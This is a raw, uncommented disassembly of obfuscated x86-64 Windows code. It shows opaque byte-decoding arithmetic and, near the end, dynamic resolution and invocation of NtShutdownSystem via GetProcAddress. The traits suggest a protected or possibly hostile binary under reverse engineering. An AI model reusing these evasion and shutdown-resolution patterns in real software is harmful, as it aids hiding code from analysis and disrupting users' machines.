sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
movzx ecx, byte [rbp + rdi - 0x28]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x140052012
inc rcx
cmp rax, rcx
jne 0x140052845
lea r8d, [rdi + 0x60]
movzx ecx, r8b
and cl, bl
mov edx, Ordinal_50
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
jmp 0x140052a78
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140052867
lea edx, [rdi + 0x28]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x18
jmp 0x140052a3e
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x14005288d
lea edx, [rdi - 0x48]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 8
movzx r10d, dil
jmp 0x140052a20
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400528b8
lea edx, [rdi + 0x80]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x140052012
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x140052453
lea edx, [rdi + 0x10]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x70
jmp 0x140052992
lea edx, [rdi - 0x60]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x60
movzx r10d, dil
jmp 0x140052a1d
lea r8d, [rdi + 0x68]
movzx ecx, r8b
and cl, bl
mov edx, reloc.WS2_32.dll_sendto
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
jmp 0x140052a78
lea edx, [rdi - 0x1c]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x3c
jmp 0x140052a3e
lea r8d, [rdi + 0x1c]
movzx ecx, r8b
and cl, bl
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
jmp 0x140052a3b
lea r8d, [rdi - 0x74]
movzx ecx, r8b
and cl, bl
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
dec rdi
inc rdi
jmp 0x140052012
lea r8d, [rdi - 4]
mov edx, recv
movzx ecx, r8b
and cl, bl
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
movzx r8d, dil
add r8b, 0x3c
movzx ecx, bl
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_46
sub dl, cl
add dl, dl
add dl, bl
add dl, r8b
mov byte [rbp + rdi - 0x28], dl
inc r9
dec rdi
inc rdi
jmp 0x140052012
lea edx, [rdi - 0x5c]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x7c
inc r9
dec rdi
inc rdi
jmp 0x140052012
lea edx, [rdi - 0x24]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 4
dec rdi
inc rdi
jmp 0x140052012
movzx r10d, dil
lea r8d, [r10 + 0x14]
mov edx, Ordinal_60
movzx ecx, r8b
and cl, bl
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
add r10b, 4
movzx ecx, bl
and cl, r10b
add cl, cl
sub bl, cl
sub bl, 0x1c
add bl, r11b
add bl, r10b
mov byte [rbp + rdi - 0x28], bl
add rax, r9
movzx ecx, r11b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rdi, rdx
inc rdi
jmp 0x140052012
movabs rdx, 0x117c55326f46abbc
add rdx, rdi
and r10b, dl
add r10b, r10b
movzx r11d, bl
sub r11b, r10b
sub r11b, 0x24
add r11b, dl
movzx r8d, dil
sub r8b, 0x34
movzx ecx, bl
and cl, r8b
mov edx, gethostname
sub dl, cl
add dl, dl
add dl, bl
add dl, r8b
movzx ecx, dl
mov byte [rbp + rdi - 0x28], cl
inc r9
add rcx, r9
sub rdi, rcx
lea edx, [rdi + 0x30]
movzx ecx, bl
and cl, dl
add cl, cl
sub bl, cl
sub bl, 0x50
add bl, dl
mov byte [rbp + rdi - 0x28], bl
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
movzx ecx, byte [rbp + rdi - 0x28]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x140052012
movabs rcx, 0x753549159d676e2c
add rcx, rdi
and r10b, cl
add r10b, r10b
sub bl, r10b
lea r11d, [rcx + rbx]
sub r11b, 0x34
movzx ecx, byte [rbp + rdi - 0x28]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x140052012
sub dil, 0xc
movzx ecx, dil
and cl, bl
mov edx, Ordinal_45
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, dil
add r11b, bl
jmp 0x14005200c
add dil, 0x2c
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r11d, [rbx + rdi]
sub r11b, 0x34
jmp 0x140052006
lea rcx, [rbp + 0x17f5708]
jmp 0x140052b5f
lea rcx, [rbp + 0x177266c]
jmp 0x140052b5f
lea rcx, [rbp - 0x28]
xor r8d, r8d
mov rdx, rsi
call fcn.14004ce90
mov qword [0x14022c510], rax
lea rcx, [0x14022c548]
call fcn.140196344
mov r9, r12
xor r8d, r8d
mov rdx, qword [0x14022c510]
mov rcx, r13
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
jmp 0x1400593e0
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x58]
mov rbx, r9
mov rdi, qword [0x14022c510]
mov edx, 4
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x14022c530], eax
jle 0x140059455
lea rcx, [0x14022c530]
call fcn.1401963b0
cmp dword [0x14022c530], 0xffffffff
jne 0x140059455
lea rcx, [0x1401b9b98]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtShutdownSystem
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x14022c530]
mov qword [0x14022c520], rax
call fcn.140196344
mov rcx, qword [0x14022c4a0]
mov rdx, rdi
call fcn.14004f4d0
mov rax, qword [0x14022c520]
mov rdx, rbx
xor ecx, ecx
call rax
mov rcx, qword [0x14022c4a0]
mov rbx, rax
call fcn.14004f6d0
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret